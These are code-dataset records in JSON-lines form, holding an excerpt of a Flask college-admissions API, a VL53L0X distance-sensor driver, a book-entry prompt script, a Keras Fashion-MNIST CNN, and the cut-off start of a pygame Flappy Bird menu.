return {'data': category}\n        \n\n        merit= data['merit']\n        years=['year_2013','year_2014','year_2015','year_2016','year_2017','year_2018']\n        intyears=[2013,2014,2015,2016,2017,2018]\n\n        # ndf=df[(df[category]>merit) & (df['Branch Name']==data['department'])].head(10)\n        ndf=df.sort_values([category],ascending=['True'])[(df[category]>merit) & (df['Branch Name'].str.contains(data['department']))].head(10)\n        if(ndf[category].empty):\n            abort(400 ,custom='No record found')\n            # return{\"message\":\"no record found\"}, 404\n        ndf=ndf[['Code','Name','Branch No.',category,'college_website','lat','lon','naac']].sort_values(by=category)\n       \n\n        y1=[]\n        for y in intyears:\n            for x in ndf['Branch No.']:\n                y1.append(int(cb[category][(cb['Branch No.']==x )& (cb['Year']==y)]))\n\n        \n        for x,y in zip(range(0,len(y1),int(len(y1)/6)),years):\n            ndf[y]=y1[x:x+int(len(y1)/6)]\n\n        ndf.rename(columns={category:'year_2019','Branch No.':'branch_no','Branch Name':'branch_name'},inplace=True)\n\n        return{'data': ndf.to_json(orient='records')}\n\n        \n", "repo_name": "RaviMrk/rest-api-flask", "sub_path": "resources/clg.py", "file_name": "clg.py", "file_ext": "py", "file_size_in_byte": 3377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "flask_restful.Resource", "line_number": 9, "usage_type": "name"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 10, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 63, "usage_type": "call"}, {"api_name": "werkzeug.security.safe_str_cmp", "line_number": 72, "usage_type": "call"}, {"api_name": "werkzeug.security.safe_str_cmp", "line_number": 74, "usage_type": "call"}, {"api_name": "werkzeug.security.safe_str_cmp", "line_number": 77, "usage_type": "call"}, {"api_name": "werkzeug.security.safe_str_cmp", "line_number": 79, "usage_type": "call"}, {"api_name": "flask_restplus.abort", "line_number": 95, "usage_type": "call"}]}
{"seq_id": "10492400645", "text": "#!/usr/bin/env python\nfrom Adafruit_GPIO import I2C\nimport logging\nimport time\n\n# Register Addresses\nVL53L0X_REG_SYSRANGE_START = 0x00\n\nVL53L0X_REG_SYSTEM_THRESH_HIGH = 0x0C\nVL53L0X_REG_SYSTEM_THRESH_LOW = 0x0E\n\nVL53L0X_REG_SYSTEM_SEQUENCE_CONFIG = 0x01\nVL53L0X_REG_SYSTEM_RANGE_CONFIG = 0x09\nVL53L0X_REG_SYSTEM_INTERMEASUREMENT_PERIOD = 0x04\n\nVL53L0X_REG_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x0A\n\nVL53L0X_REG_GPIO_HV_MUX_ACTIVE_HIGH = 0x84\n\nVL53L0X_REG_SYSTEM_INTERRUPT_CLEAR = 0x0B\n\nVL53L0X_REG_RESULT_INTERRUPT_STATUS = 0x13\nVL53L0X_REG_RESULT_RANGE_STATUS = 0x14\n\nVL53L0X_REG_RESULT_CORE_AMBIENT_WINDOW_EVENTS_RTN = 0xBC\nVL53L0X_REG_RESULT_CORE_RANGING_TOTAL_EVENTS_RTN = 0xC0\nVL53L0X_REG_RESULT_CORE_AMBIENT_WINDOW_EVENTS_REF = 0xD0\nVL53L0X_REG_RESULT_CORE_RANGING_TOTAL_EVENTS_REF = 0xD4\nVL53L0X_REG_RESULT_PEAK_SIGNAL_RATE_REF = 0xB6\n\nVL53L0X_REG_ALGO_PART_TO_PART_RANGE_OFFSET_MM = 0x28\n\nVL53L0X_REG_I2C_SLAVE_DEVICE_ADDRESS = 0x8A\n\nVL53L0X_REG_MSRC_CONFIG_CONTROL = 0x60\n\nVL53L0X_REG_PRE_RANGE_CONFIG_MIN_SNR = 0x27\nVL53L0X_REG_PRE_RANGE_CONFIG_VALID_PHASE_LOW = 0x56\nVL53L0X_REG_PRE_RANGE_CONFIG_VALID_PHASE_HIGH = 0x57\nVL53L0X_REG_PRE_RANGE_MIN_COUNT_RATE_RTN_LIMIT = 0x64\n\nVL53L0X_REG_FINAL_RANGE_CONFIG_MIN_SNR = 0x67\nVL53L0X_REG_FINAL_RANGE_CONFIG_VALID_PHASE_LOW = 0x47\nVL53L0X_REG_FINAL_RANGE_CONFIG_VALID_PHASE_HIGH = 0x48\nVL53L0X_REG_FINAL_RANGE_CONFIG_MIN_COUNT_RATE_RTN_LIMIT = 0x44\n\nVL53L0X_REG_PRE_RANGE_CONFIG_SIGMA_THRESH_HI = 0x61\nVL53L0X_REG_PRE_RANGE_CONFIG_SIGMA_THRESH_LO = 0x62\n\nVL53L0X_REG_PRE_RANGE_CONFIG_VCSEL_PERIOD = 0x50\nVL53L0X_REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI = 0x51\nVL53L0X_REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_LO = 0x52\n\nVL53L0X_REG_SYSTEM_HISTOGRAM_BIN = 0x81\nVL53L0X_REG_HISTOGRAM_CONFIG_INITIAL_PHASE_SELECT = 0x33\nVL53L0X_REG_HISTOGRAM_CONFIG_READOUT_CTRL = 0x55\n\nVL53L0X_REG_FINAL_RANGE_CONFIG_VCSEL_PERIOD = 0x70\nVL53L0X_REG_FINAL_RANGE_CONFIG_TIMEOUT_MACROP_HI = 0x71\nVL53L0X_REG_FINAL_RANGE_CONFIG_TIMEOUT_MACROP_LO = 0x72\nVL53L0X_REG_CROSSTALK_COMPENSATION_PEAK_RATE_MCPS = 0x20\n\nVL53L0X_REG_MSRC_CONFIG_TIMEOUT_MACROP = 0x46\n\nVL53L0X_REG_SOFT_RESET_GO2_SOFT_RESET_N = 0xBF\nVL53L0X_REG_IDENTIFICATION_MODEL_ID = 0xC0\nVL53L0X_REG_IDENTIFICATION_REVISION_ID = 0xC2\n\nVL53L0X_REG_OSC_CALIBRATE_VAL = 0xF8\n\nVL53L0X_REG_GLOBAL_CONFIG_VCSEL_WIDTH = 0x32\nVL53L0X_REG_GLOBAL_CONFIG_SPAD_ENABLES_REF_0 = 0xB0\nVL53L0X_REG_GLOBAL_CONFIG_SPAD_ENABLES_REF_1 = 0xB1\nVL53L0X_REG_GLOBAL_CONFIG_SPAD_ENABLES_REF_2 = 0xB2\nVL53L0X_REG_GLOBAL_CONFIG_SPAD_ENABLES_REF_3 = 0xB3\nVL53L0X_REG_GLOBAL_CONFIG_SPAD_ENABLES_REF_4 = 0xB4\nVL53L0X_REG_GLOBAL_CONFIG_SPAD_ENABLES_REF_5 = 0xB5\n\nVL53L0X_REG_GLOBAL_CONFIG_REF_EN_START_SELECT = 0xB6\nVL53L0X_REG_DYNAMIC_SPAD_NUM_REQUESTED_REF_SPAD = 0x4E\nVL53L0X_REG_DYNAMIC_SPAD_REF_EN_START_OFFSET = 0x4F\nVL53L0X_REG_POWER_MANAGEMENT_GO1_POWER_FORCE = 0x80\n\nVL53L0X_REG_VHV_CONFIG_PAD_SCL_SDA__EXTSUP_HV = 0x89\n\nVL53L0X_REG_ALGO_PHASECAL_LIM = 0x30\nVL53L0X_REG_ALGO_PHASECAL_CONFIG_TIMEOUT = 0x30\n\n# Sequence Steps list\nVL53L0X_SEQUENCESTEP_TCC = 0\nVL53L0X_SEQUENCESTEP_DSS = 1\nVL53L0X_SEQUENCESTEP_MSRC = 2\nVL53L0X_SEQUENCESTEP_PRE_RANGE = 3\nVL53L0X_SEQUENCESTEP_FINAL_RANGE = 4\n\n# Check Enable list\nVL53L0X_CHECKENABLE_SIGMA_FINAL_RANGE = 0\nVL53L0X_CHECKENABLE_SIGNAL_RATE_FINAL_RANGE = 1\nVL53L0X_CHECKENABLE_SIGNAL_REF_CLIP = 2\nVL53L0X_CHECKENABLE_RANGE_IGNORE_THRESHOLD = 3\nVL53L0X_CHECKENABLE_SIGNAL_RATE_MSRC = 4\nVL53L0X_CHECKENABLE_SIGNAL_RATE_PRE_RANGE = 5\n\n# Vcsel Period\nVL53L0X_VCSEL_PERIOD_PRE_RANGE = 0\nVL53L0X_VCSEL_PERIOD_FINAL_RANGE = 1\n\nVL53L0X_DEVICEMODE_SINGLE_RANGING = 0\nVL53L0X_DEVICEMODE_CONTINUOUS_RANGING = 1\nVL53L0X_DEVICEMODE_SINGLE_HISTOGRAM = 2\nVL53L0X_DEVICEMODE_CONTINUOUS_TIMED_RANGING = 3\nVL53L0X_DEVICEMODE_SINGLE_ALS = 10\nVL53L0X_DEVICEMODE_GPIO_DRIVE = 20\nVL53L0X_DEVICEMODE_GPIO_OSC = 21\n\nlog = logging.getLogger(__name__)\n\nclass VL53L0X:\n    def __init__(self, address, i2c=None):\n        if i2c is None:\n            i2c = I2C\n        pass\n\n        self.device = i2c.get_i2c_device(address)\n\n        rev_id = self.get_revision_id()\n        dev_id = self.get_model_id()\n\n        # Internal Parameters\n        self.device_mode = VL53L0X_DEVICEMODE_SINGLE_RANGING\n        self.limit_checks_value = [0, 0, 0, 0, 0, 0]\n\n        log.info(\"VL53L0X RevisionID[{0}] DeviceID[{1}]\".format(hex(rev_id), hex(dev_id)))\n\n    def calc_macro_period_ps(self, vcsel_period_pclks):\n        pll_period_ps = 1655\n        macro_period_vclks = 2304\n\n        return int(macro_period_vclks * vcsel_period_pclks * pll_period_ps)\n\n    def calc_timeout_mclks(self, timeout_period_us, vcsel_period_pclks):\n        macro_period_ps = self.calc_macro_period_ps(vcsel_period_pclks)\n        macro_period_ns = (macro_period_ps + 500) / 1000\n\n        return int(((timeout_period_us * 1000) + (macro_period_ns / 2)) / macro_period_ns)\n\n    def calc_timeout_us(self, timeout_period_mclks, vcsel_period_pclks):\n        macro_period_ps = self.calc_macro_period_ps(vcsel_period_pclks)\n        macro_period_ns = (macro_period_ps + 500) / 1000\n\n        return ((timeout_period_mclks * macro_period_ns) + 500) / 1000\n\n    def decode_timeout(self, encoded_timeout):\n        return (int(encoded_timeout & 0x00FF) << int((encoded_timeout & 0xFF00) >> 8)) + 1\n\n    def decode_vcsel_period(self, vcsel_period_reg):\n        \"\"\"Converts the encoded VCSEL period register value into the real period in PLL clocks\"\"\"\n        return (vcsel_period_reg + 1) << 1\n\n    def encode_timeout(self, timeout_macro_clks):\n        ms_byte = 0\n\n        if timeout_macro_clks > 0:\n            ls_byte = timeout_macro_clks - 1\n\n            while (ls_byte & 0xFFFFFF00) > 0:\n                ls_byte = ls_byte >> 1\n                ms_byte += 1\n\n            return (ms_byte << 8) + (ls_byte & 0x000000FF)\n        else:\n            return 0\n\n    def fixpoint1616_to_fixpoint97(self, value):\n        return int((value >> 9) & 0xFFFF)\n\n    def get_sequence_step_enables(self):\n        val = self.device.readU8(VL53L0X_REG_SYSTEM_SEQUENCE_CONFIG)\n\n        enables = {}\n\n        enables['TccOn'] = bool(self.sequence_step_enabled(VL53L0X_SEQUENCESTEP_TCC, val))\n        enables['DssOn'] = bool(self.sequence_step_enabled(VL53L0X_SEQUENCESTEP_DSS, val))\n        enables['MsrcOn'] = bool(self.sequence_step_enabled(VL53L0X_SEQUENCESTEP_MSRC, val))\n        enables['PreRangeOn'] = bool(self.sequence_step_enabled(VL53L0X_SEQUENCESTEP_PRE_RANGE, val))\n        enables['FinalRangeOn'] = bool(self.sequence_step_enabled(VL53L0X_SEQUENCESTEP_FINAL_RANGE, val))\n\n        return enables\n\n    def get_sequence_step_timeout(self, step_id):\n        if step_id == VL53L0X_SEQUENCESTEP_TCC or step_id == VL53L0X_SEQUENCESTEP_DSS or step_id == VL53L0X_SEQUENCESTEP_MSRC:\n            current_vcsel_pulse_period_p_clk = self.get_vcsel_pulse_period(VL53L0X_VCSEL_PERIOD_PRE_RANGE)\n            encoded_time_out_byte = self.device.readU8(VL53L0X_REG_MSRC_CONFIG_TIMEOUT_MACROP)\n\n            msrc_time_out_m_clks = self.decode_timeout(encoded_time_out_byte)\n            return self.calc_timeout_us(msrc_time_out_m_clks, current_vcsel_pulse_period_p_clk)\n        elif step_id == VL53L0X_SEQUENCESTEP_PRE_RANGE:\n            current_vcsel_pulse_period_p_clk = self.get_vcsel_pulse_period(VL53L0X_VCSEL_PERIOD_PRE_RANGE)\n            encoded_time_out_byte = self.device.readU16(VL53L0X_REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI, False)\n\n            msrc_time_out_m_clks = self.decode_timeout(encoded_time_out_byte)\n            return self.calc_timeout_us(msrc_time_out_m_clks, current_vcsel_pulse_period_p_clk)\n        elif step_id == VL53L0X_SEQUENCESTEP_FINAL_RANGE:\n            scheduler_sequence_steps = self.get_sequence_step_enables()\n            pre_range_time_out_m_clks = 0\n\n            if scheduler_sequence_steps['PreRangeOn']:\n                current_vcsel_pulse_period_p_clk = self.get_vcsel_pulse_period(VL53L0X_VCSEL_PERIOD_PRE_RANGE)\n                pre_range_encoded_time_out = self.device.readU16(VL53L0X_REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI, False)\n                pre_range_time_out_m_clks = self.decode_timeout(pre_range_encoded_time_out)\n\n            current_vcsel_pulse_period_p_clk = self.get_vcsel_pulse_period(VL53L0X_VCSEL_PERIOD_FINAL_RANGE)\n            final_range_encoded_time_out = self.device.readU16(VL53L0X_REG_FINAL_RANGE_CONFIG_TIMEOUT_MACROP_HI, False)\n            final_range_time_out_m_clks = self.decode_timeout(final_range_encoded_time_out)\n\n            final_range_time_out_m_clks -= pre_range_time_out_m_clks\n            return self.calc_timeout_us(final_range_time_out_m_clks, current_vcsel_pulse_period_p_clk)\n        else:\n            raise ValueError(\"get_sequence_step_timeout received invalid step_id\")\n\n    def get_vcsel_pulse_period(self, period_type):\n        if period_type == VL53L0X_VCSEL_PERIOD_PRE_RANGE:\n            vcsel_period_reg = self.device.readU8(VL53L0X_REG_PRE_RANGE_CONFIG_VCSEL_PERIOD)\n        elif period_type == VL53L0X_VCSEL_PERIOD_FINAL_RANGE:\n            vcsel_period_reg = self.device.readU8(VL53L0X_REG_FINAL_RANGE_CONFIG_VCSEL_PERIOD)\n        else:\n            raise ValueError(\"get_vcsel_pulse_period received invalid period_type\")\n\n        return self.decode_vcsel_period(vcsel_period_reg)\n\n    def sequence_step_enabled(self, step_id, val):\n        if step_id == VL53L0X_SEQUENCESTEP_TCC:\n            return (val & 0x10) >> 4\n        elif step_id == VL53L0X_SEQUENCESTEP_DSS:\n            return (val & 0x08) >> 3\n        elif step_id == VL53L0X_SEQUENCESTEP_MSRC:\n            return (val & 0x04) >> 2\n        elif step_id == VL53L0X_SEQUENCESTEP_PRE_RANGE:\n            return (val & 0x40) >> 6\n        elif step_id == VL53L0X_SEQUENCESTEP_FINAL_RANGE:\n            return (val & 0x80) >> 7\n        else:\n            raise ValueError(\"sequence_step_enabled received invalid step_id\")\n\n    def set_limit_check_value(self, limit_check_id, limit_check_value):\n        if limit_check_id == VL53L0X_CHECKENABLE_SIGMA_FINAL_RANGE:\n            self.limit_checks_value[VL53L0X_CHECKENABLE_SIGMA_FINAL_RANGE] = limit_check_value\n        elif limit_check_id == VL53L0X_CHECKENABLE_SIGNAL_RATE_FINAL_RANGE:\n            self.device.write16(VL53L0X_REG_FINAL_RANGE_CONFIG_MIN_COUNT_RATE_RTN_LIMIT,\n                                self.fixpoint1616_to_fixpoint97(limit_check_value))\n        elif limit_check_id == VL53L0X_CHECKENABLE_SIGNAL_REF_CLIP:\n            self.limit_checks_value[VL53L0X_CHECKENABLE_SIGNAL_REF_CLIP] = limit_check_value\n        elif limit_check_id == VL53L0X_CHECKENABLE_RANGE_IGNORE_THRESHOLD:\n            self.limit_checks_value[VL53L0X_CHECKENABLE_RANGE_IGNORE_THRESHOLD] = limit_check_value\n        elif limit_check_id == VL53L0X_CHECKENABLE_SIGNAL_RATE_MSRC or limit_check_id == VL53L0X_CHECKENABLE_SIGNAL_RATE_PRE_RANGE:\n            self.device.write16(VL53L0X_REG_PRE_RANGE_MIN_COUNT_RATE_RTN_LIMIT,\n                                self.fixpoint1616_to_fixpoint97(limit_check_value))\n        else:\n            raise ValueError(\"sequence_step_enabled received invalid step_id\")\n\n    def set_measurement_timing_budget_micro_seconds(self, measurement_timing_budget_micro_seconds):\n        start_overhead_micro_seconds = 1910\n        end_overhead_micro_seconds = 960\n        msrc_overhead_micro_seconds = 660\n        tcc_overhead_micro_seconds = 590\n        dss_overhead_micro_seconds = 690\n        pre_range_overhead_micro_seconds = 660\n        final_range_overhead_micro_seconds = 550\n        c_min_timing_budget_micro_seconds = 20000\n\n        if measurement_timing_budget_micro_seconds < c_min_timing_budget_micro_seconds:\n            measurement_timing_budget_micro_seconds = c_min_timing_budget_micro_seconds\n\n        final_range_timing_budget_micro_seconds = measurement_timing_budget_micro_seconds - (\n            start_overhead_micro_seconds + end_overhead_micro_seconds)\n\n        sequence_steps = self.get_sequence_step_enables()\n\n        if sequence_steps['TccOn'] or sequence_steps['MsrcOn'] or sequence_steps['DssOn']:\n            msrc_dcc_tcc_timeout_micro_seconds = self.get_sequence_step_timeout(VL53L0X_SEQUENCESTEP_MSRC)\n\n            if sequence_steps['TccOn']:\n                sub_timeout = msrc_dcc_tcc_timeout_micro_seconds + tcc_overhead_micro_seconds\n\n                if sub_timeout < final_range_timing_budget_micro_seconds:\n                    final_range_timing_budget_micro_seconds -= sub_timeout\n                else:\n                    raise ValueError(\"Requested timeout too big.\")\n\n            if sequence_steps['DssOn']:\n                sub_timeout = 2 * (msrc_dcc_tcc_timeout_micro_seconds + dss_overhead_micro_seconds)\n\n                if sub_timeout < final_range_timing_budget_micro_seconds:\n                    final_range_timing_budget_micro_seconds -= sub_timeout\n                else:\n                    raise ValueError(\"Requested timeout too big.\")\n\n            elif sequence_steps['MsrcOn']:\n                sub_timeout = msrc_dcc_tcc_timeout_micro_seconds + msrc_overhead_micro_seconds\n\n                if sub_timeout < final_range_timing_budget_micro_seconds:\n                    final_range_timing_budget_micro_seconds -= sub_timeout\n                else:\n                    raise ValueError(\"Requested timeout too big.\")\n\n        if sequence_steps['PreRangeOn']:\n            pre_range_timeout_micro_seconds = self.get_sequence_step_timeout(VL53L0X_SEQUENCESTEP_PRE_RANGE)\n\n            sub_timeout = pre_range_timeout_micro_seconds + pre_range_overhead_micro_seconds\n\n            if sub_timeout < final_range_timing_budget_micro_seconds:\n                final_range_timing_budget_micro_seconds -= sub_timeout\n            else:\n                raise ValueError(\"Requested timeout too big.\")\n\n        if sequence_steps['FinalRangeOn']:\n            final_range_timing_budget_micro_seconds -= final_range_overhead_micro_seconds\n\n        self.set_sequence_step_timeout(VL53L0X_SEQUENCESTEP_FINAL_RANGE, final_range_timing_budget_micro_seconds)\n\n    def set_sequence_step_timeout(self, step_id, TimeOutMicroSecs):\n        if step_id == VL53L0X_SEQUENCESTEP_TCC or step_id == VL53L0X_SEQUENCESTEP_DSS or step_id == VL53L0X_SEQUENCESTEP_MSRC:\n            current_vcsel_pulse_period_p_clk = self.get_vcsel_pulse_period(VL53L0X_VCSEL_PERIOD_PRE_RANGE)\n            msrc_range_time_out_m_clks = self.calc_timeout_mclks(TimeOutMicroSecs, current_vcsel_pulse_period_p_clk)\n\n            if msrc_range_time_out_m_clks > 256:\n                msrc_encoded_time_out = 255\n            else:\n                msrc_encoded_time_out = msrc_range_time_out_m_clks - 1\n\n            self.device.write8(VL53L0X_REG_MSRC_CONFIG_TIMEOUT_MACROP, msrc_encoded_time_out)\n        elif step_id == VL53L0X_SEQUENCESTEP_PRE_RANGE:\n            current_vcsel_pulse_period_p_clk = self.get_vcsel_pulse_period(VL53L0X_VCSEL_PERIOD_PRE_RANGE)\n            pre_range_time_out_m_clks = self.calc_timeout_mclks(TimeOutMicroSecs, current_vcsel_pulse_period_p_clk)\n            pre_range_encoded_time_out = self.encode_timeout(pre_range_time_out_m_clks)\n\n            self.device.write16(VL53L0X_REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI, pre_range_encoded_time_out)\n        elif step_id == VL53L0X_SEQUENCESTEP_FINAL_RANGE:\n            sequence_steps = self.get_sequence_step_enables()\n            pre_range_time_out_m_clks = 0\n            if sequence_steps['PreRangeOn']:\n                current_vcsel_pulse_period_p_clk = self.get_vcsel_pulse_period(VL53L0X_VCSEL_PERIOD_PRE_RANGE)\n                pre_range_encoded_time_out = self.device.readU16(VL53L0X_REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI, False)\n                pre_range_time_out_m_clks = self.decode_timeout(pre_range_encoded_time_out)\n\n            current_vcsel_pulse_period_p_clk = self.get_vcsel_pulse_period(VL53L0X_VCSEL_PERIOD_FINAL_RANGE)\n            final_range_time_out_m_clks = self.calc_timeout_mclks(TimeOutMicroSecs, current_vcsel_pulse_period_p_clk)\n            final_range_time_out_m_clks += pre_range_time_out_m_clks\n            final_range_encoded_time_out = self.encode_timeout(final_range_time_out_m_clks)\n\n            self.device.write16(VL53L0X_REG_FINAL_RANGE_CONFIG_TIMEOUT_MACROP_HI, final_range_encoded_time_out)\n        else:\n            raise ValueError(\"get_sequence_step_timeout received invalid step_id\")\n\n\n    # custom\n    def get_model_id(self):\n        return self.device.readU8(VL53L0X_REG_IDENTIFICATION_MODEL_ID)\n\n    def get_result_range_status(self):\n        return self.device.readU8(VL53L0X_REG_RESULT_RANGE_STATUS)\n\n    def get_result_range_ambient(self):\n        return self.device.readU16(VL53L0X_REG_RESULT_RANGE_STATUS + 6, False)\n\n    def get_result_range_signal_count(self):\n        return self.device.readU16(VL53L0X_REG_RESULT_RANGE_STATUS + 8, False)\n\n    def get_result_range_disance(self):\n        return self.device.readU16(VL53L0X_REG_RESULT_RANGE_STATUS + 10, False)\n\n    def get_revision_id(self):\n        return self.device.readU8(VL53L0X_REG_IDENTIFICATION_REVISION_ID)\n\n    def measure_distance(self):\n        self.set_sysrange_start(0x01)\n\n        cnt = 0\n        while (cnt < 100):  # 1 second waiting time max\n            time.sleep(0.010)\n            val = self.get_result_range_status()\n            if (val & 0x01):\n                break\n            cnt += 1\n\n        if not (val & 0x01):\n            logging.warn(\"VL53L0X scanner not ready\")\n\n        return [self.get_result_range_disance(), self.get_result_range_signal_count()]\n\n    def set_sysrange_start(self, val):\n        val = val & 0xFF\n        self.device.write8(VL53L0X_REG_SYSRANGE_START, val)\n", "repo_name": "tyrm/Rover-A", "sub_path": "rover_a/vl53l0x.py", "file_name": "vl53l0x.py", "file_ext": "py", "file_size_in_byte": 17466, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "logging.getLogger", "line_number": 116, "usage_type": "call"}, {"api_name": "Adafruit_GPIO.I2C", "line_number": 121, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 380, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 387, "usage_type": "call"}]}
{"seq_id": "25878130020", "text": "import logging\nlogger = logging.getLogger(__name__)\nfrom book import book\n\ndef manual_entry() -> book:\n    '''\n    The user manually creates a new entry to be stored in the database.\n    '''\n    title = input(\"Please enter the title of the book (leave blank if not \"\n                  \"known): \")\n    title = title if len(title) > 0 else \"UNKNOWN\"\n    authors = []\n    i = 1\n    while True:\n        author_name = input(f\"Please enter the name of the {i}{_i_suffix(i)} \"\n                            \"author (leave blank to end): \")\n        if author_name != '':\n            authors.append(author_name)\n        else:\n            break\n        i += 1\n    authors = authors if len(authors) != 0 else [\"UNKNOWN\"]\n    publisher = input(\"Please enter the name of the publisher (leave blank if \"\n                      \"not known): \")\n    publisher = publisher if len(publisher) > 0 else \"UNKNOWN\"\n    publish_date = input(\"Please enter the date of publishing (leave blank if \"\n                         \"not known): \")\n    publish_date = publish_date if len(publish_date) > 0 else \"UNKNOWN\"\n    identifiers = {\n        'isbn_10': None,\n        'isbn_13': None,\n        'issn': None,\n        'oclc': None,\n        'lccn': None\n    }\n    for identifier in identifiers:\n        while True:\n            identifier_value = input(f\"Please enter the {identifier.upper()} \"\n                                     \"of the book (leave blank if not known)\"\n                                     \": \")\n            if identifier_value == '':\n                break\n            try:\n                identifiers[identifier] = int(identifier_value)\n            except ValueError as e:\n                logger.error(\"Invalid value provided for \"\n                             f\"{identifier.upper()}.\")\n                logger.error(e)\n                logger.error(\"Please enter a valid value!\")\n                continue\n            break\n    pages = 0\n    while True:\n        try:\n            pages_str = input(\"Please enter the number of pages of this book \"\n                              \"(leave blank if not known): \")\n            pages = pages if len(pages_str) == 0 else int(pages_str)\n        except ValueError as e:\n            logger.error(\"Invalid input!\")\n            logger.error(e)\n            logger.error(\"Please re-enter the number of pages!\")\n            continue\n        break\n    book_manual = book(title, authors, publisher, publish_date, identifiers,\n                       pages)\n    return book_manual\n\ndef _i_suffix(i: int) -> str:\n    '''\n    Checks the number and returns the appropriate suffix for it.\n    '''\n    i_str = str(i)\n    suff_123 = {1: 'st', 2: 'nd', 3: 'rd'}\n    suff_th = 'th'\n    i_last_num = int(i_str[-1])\n    return suff_123[i_last_num] if i_last_num in suff_123 else suff_th\n\n\nif __name__ == \"__main__\":\n    c = manual_entry()\n    print(c)\n", "repo_name": "GNY-001F2/toshokan", "sub_path": "manual_entry.py", "file_name": "manual_entry.py", "file_ext": "py", "file_size_in_byte": 2852, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "logging.getLogger", "line_number": 2, "usage_type": "call"}, {"api_name": "book.book", "line_number": 64, "usage_type": "call"}, {"api_name": "book.book", "line_number": 5, "usage_type": "name"}]}
{"seq_id": "16014984036", "text": "import numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Flatten, Conv2D, MaxPooling2D, Dropout\nfrom keras.datasets import fashion_mnist\n\n# 1. 데이터\n(x_train, y_train), (x_test, y_test) = fashion_mnist.load_data()\n\nprint(x_train.shape, y_train.shape) # (60000, 28, 28) (60000,)\nprint(x_test.shape, y_test.shape)   # (10000, 28, 28) (10000,)\n\n# 정규화\nx_train, x_test = x_train/255.0, x_test/255.0\n\n# reshape 3차원을 4차원으로 늘림\nx_train = x_train.reshape(60000, 28, 28, 1)\nx_test = x_test.reshape(10000, 28, 28, 1)\n\n\n#실습\n\n# 2. 모델 구성\nmodel = Sequential()\nmodel.add(Conv2D(filters = 32, kernel_size= (4, 4),\n                 activation='relu',\n                   input_shape = (28, 28, 1)))\n# model.add(MaxPooling2D(2, 2))\nmodel.add(Conv2D(64, (4, 4), activation = 'relu' ))\nmodel.add(MaxPooling2D(2, 2))\nmodel.add(Dropout(0.3))\nmodel.add(Flatten())\nmodel.add(Dense(256, activation='relu'))\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dense(10, activation='softmax'))\nmodel.summary()\n\n'''\n# 3. 컴파일, 훈련\n\nmodel.compile(loss='sparse_categorical_crossentropy',\n              optimizer='adam', metrics=['accuracy'])\nmodel.fit(x_train, y_train, epochs=20, batch_size=256)\n\n# 4. 평가, 예측\nloss, acc = model.evaluate(x_test, y_test)\nprint('loss : ', loss)\nprint('acc : ', acc)\n\n# 결과\n# MaxPooling2D(2,2), Dropout(0.2)\n# loss :  0.27315348386764526\n# acc :  0.9052000045776367\n'''", "repo_name": "bibibigg/bitcamp-AIstudy", "sub_path": "cnn_study/tf01_cnn_fashionMnist.py", "file_name": "tf01_cnn_fashionMnist.py", "file_ext": "py", "file_size_in_byte": 1454, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "keras.datasets.fashion_mnist.load_data", "line_number": 7, "usage_type": "call"}, {"api_name": "keras.datasets.fashion_mnist", "line_number": 7, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 23, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 24, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 32, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "73189103908", "text": "import pygame\r\n\r\n\r\nclass Menu():\r\n    down = pygame.transform.scale(pygame.image.load(\"Assets/base.png\"), (300, 100))\r\n    flag = pygame.transform.scale(pygame.image.load(\"Assets/pngegg.png\"), (600, 200))\r\n    flag_movement = (500, 100)\r\n    game_over = pygame.transform.scale(pygame.image.load(\"Assets/gameover.png\"), (600, 200))\r\n    flag_index = 0\r\n    back = pygame.transform.scale(pygame.image.load(\"Assets/background-day.png\"), (800, 900))\r\n    start = pygame.transform.scale(pygame.image.load(\"Assets/start.png\"), (100, 100))\r\n    start_button = pygame.Rect(675, 625, 100, 100)\r\n    option = pygame.transform.scale(pygame.image.load(\"Assets/menu.png\"), (100, 100))\r\n    option_button = pygame.Rect(825, 625, 100, 100)\r\n    back_button = pygame.transform.scale(pygame.image.load(\"Assets/back.png\"), (100, 100))\r\n    bird_list = [\r\n        [pygame.transform.scale(pygame.image.load(\"Assets/bluebird-{}flap.png\".format(a)), (100, 60)) for a in\r\n         [\"up\", \"mid\", \"down\"]],\r\n        [pygame.transform.scale(pygame.image.load(\"Assets/redbird-{}flap.png\".format(a)), (100, 60)) for a in\r\n         [\"up\", \"mid\", \"down\"]],\r\n        [pygame.transform.scale(pygame.image.load(\"Assets/yellowbird-{}flap.png\".format(a)), (100, 60)) for a in\r\n         [\"up\", \"mid\", \"down\"]]\r\n    ]\r\n    selected_bird = 0\r\n    bird_index = 0\r\n    bird_index1 = 0\r\n    start_game_index = 